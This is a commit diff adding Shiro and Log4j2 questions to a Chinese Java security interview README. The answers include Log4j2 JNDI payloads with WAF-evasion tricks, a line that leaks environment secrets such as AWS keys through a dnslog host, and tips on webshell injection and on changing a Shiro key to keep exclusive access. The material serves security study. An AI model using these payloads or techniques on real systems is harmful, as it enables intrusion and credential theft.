Skip to content

Commit cbd7736

Browse files
committed
update
1 parent fa4669f commit cbd7736

File tree

1 file changed

+117
-1
lines changed

1 file changed

+117
-1
lines changed

README.md

Lines changed: 117 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@
66

77
为什么要做:**帮助自己校招找到工作,同时帮助广大Java安全师傅顺利找到工作**
88

9+
项目目标:完全掌握本项目后进轻松大厂
10+
911
计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库
1012

11-
最低难度★最高难度★★★★★
13+
最低难度★ 最高难度★★★★★
1214

1315

1416

@@ -214,6 +216,120 @@ LinkedHashSet.readObject()
214216

215217

216218

219+
- 待师傅们补充
220+
221+
222+
223+
## Shiro
224+
225+
- Shiro反序列化怎么检测key(★★★)
226+
227+
实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie``rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key
228+
229+
230+
231+
- Shiro 721怎么利用(★★)
232+
233+
需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间
234+
235+
236+
237+
- 最新版Shiro还存在反序列化漏洞吗(★)
238+
239+
存在,如果密钥是常见的,还是有反序列化漏洞的可能性
240+
241+
242+
243+
- Shiro反序列化Gadget选择有什么坑吗(★★★)
244+
245+
默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致
246+
247+
另一个CB1的坑是`Comparator`来自于CC,需要使用如下的
248+
249+
```java
250+
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
251+
```
252+
253+
254+
255+
- Shiro注Tomcat内存马有什么坑吗(★★★★)
256+
257+
Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错
258+
259+
解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader``Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载
260+
261+
262+
263+
- 有什么办法让Shiro洞只能被你一人发现(★★)
264+
265+
发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响
266+
267+
268+
269+
- Shiro的权限绕过问题了解吗(★★)
270+
271+
主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`
272+
273+
274+
275+
## Log4j2
276+
277+
- 谈谈Log4j2漏洞(★★)
278+
279+
漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.loojup`导致的RCE。有几处关键问题,首先日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的一个绕过比较有趣
280+
281+
282+
283+
- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)
284+
285+
修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE
286+
287+
288+
289+
- Log4j2的两个DOS CVE了解吗(★★)
290+
291+
其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题
292+
293+
另一个DOS是嵌套标签`${}`导致栈溢出
294+
295+
296+
297+
- Log4j2 2.15.0正式版的绕过了解吗(★★★)
298+
299+
正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功
300+
301+
302+
303+
- Log4j2绕WAF的手段有哪些(★★)
304+
305+
使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper``lower`标签进行嵌套
306+
307+
有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符
308+
309+
例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}`
310+
311+
312+
313+
- Log4j2除了RCE还有什么利用姿势(★★★)
314+
315+
利用其他的`lookup`可以做信息泄露例如`${env:USER}``${env:AWS_SECRET_ACCESS_KEY}`
316+
317+
`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
318+
319+
这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
320+
321+
322+
323+
324+
325+
326+
327+
328+
329+
330+
331+
332+
217333

218334

219335

0 commit comments

Comments
 (0)